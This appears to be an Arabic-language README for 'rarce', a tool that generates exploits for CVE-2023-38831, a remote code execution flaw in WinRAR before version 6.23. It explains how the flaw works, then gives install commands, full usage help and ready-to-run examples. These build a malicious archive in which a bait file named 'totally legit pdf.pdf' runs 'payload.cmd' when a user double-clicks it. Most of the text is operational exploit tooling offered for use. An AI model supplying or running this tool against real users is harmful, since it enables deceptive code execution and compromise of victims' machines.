
أداة سهلة التثبيت والتشغيل لتوليد حمولات الاستغلال لـ CVE-2023-38831، ثغرة تنفيذ الأوامر عن بُعد (RCE) في WinRAR قبل الإصدار 6.23
هذا هو مولد استغلال متعدد الاستخدامات وسهل التركيب والاستخدام لـ CVE-2023-38831، وهي ثغرة أمنية تؤثر على إصدارات WinRAR قبل 6.23.
تسمح WinRAR من RARLabs قبل الإصدار 6.23 للمهاجمين بتنفيذ تعليمات برمجية عشوائية عندما يحاول المستخدم عرض ملف غير ضار داخل أرشيف ZIP. تحدث المشكلة لأن أرشيف ZIP قد يتضمن ملفًا غير ضار (مثل ملف .JPG عادي) وأيضًا مجلد يحمل نفس اسم الملف غير الضار، ويتم معالجة محتويات المجلد (التي قد تتضمن محتوى قابل للتنفيذ) أثناء محاولة الوصول إلى الملف غير الضار فقط. تم استغلال هذه الثغرة في البيئات الحقيقية من أبريل إلى أغسطس 2023.

يمكنك تثبيت الأداة بسهولة عبر pip.
pip install rarce
أو، يمكنك استخدامها من الكود المصدري.
git clone https://github.com/ignis-sec/CVE-2023-38831-RaRCE
cd CVE-2023-38831-RaRCE
python3 setup.py install
usage: rarce [-h] [-v] [-i] [-dt] [-pt PRESERVE_TEMP] bait switch output
Exploit generator for CVE-2023-38831
positional arguments:
bait Path to the bait file to to add to the archive.
switch Path to the payload to switcheroo with the bait file on double click.
output Path to the output file.
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbose output.
-i, --ignore-path-check
Ignore path validity check. If given, rarce can overwrite existing files given in output parameter, and can create missing folders for
output path.
-dt, --dont-use-tempdir
Prevent the tool from creating a temporary directory when creating the exploit. Instead, create the intermediate folders in current
working directory.
-pt PRESERVE_TEMP, --preserve-temp PRESERVE_TEMP
Preserve the temporary directory after creating the exploit. Has no effect if -dt or --dont-use-tempdir is not specified.
بعد التثبيت عبر pip أو setup.py، يمكنك استخدام هذه الأداة من سطر الأوامر. الأمر التالي سينشئ ملف الاستغلال لك. عندما ينقر المستخدم نقرًا مزدوجًا على ملف الطعم، سيتم تشغيل السكريبت أو الملف التنفيذي للحمولة بدلاً من ذلك.
$ rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
بالإضافة، يمكنك استخدامها كوحدة قابلة للتشغيل.
python -m rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
يمكنك أيضًا استخدامها ضمن الكود الموجود لديك.
from rarce import exploit
exploit("totally legit pdf.pdf", "payload.cmd", "exploit.rar")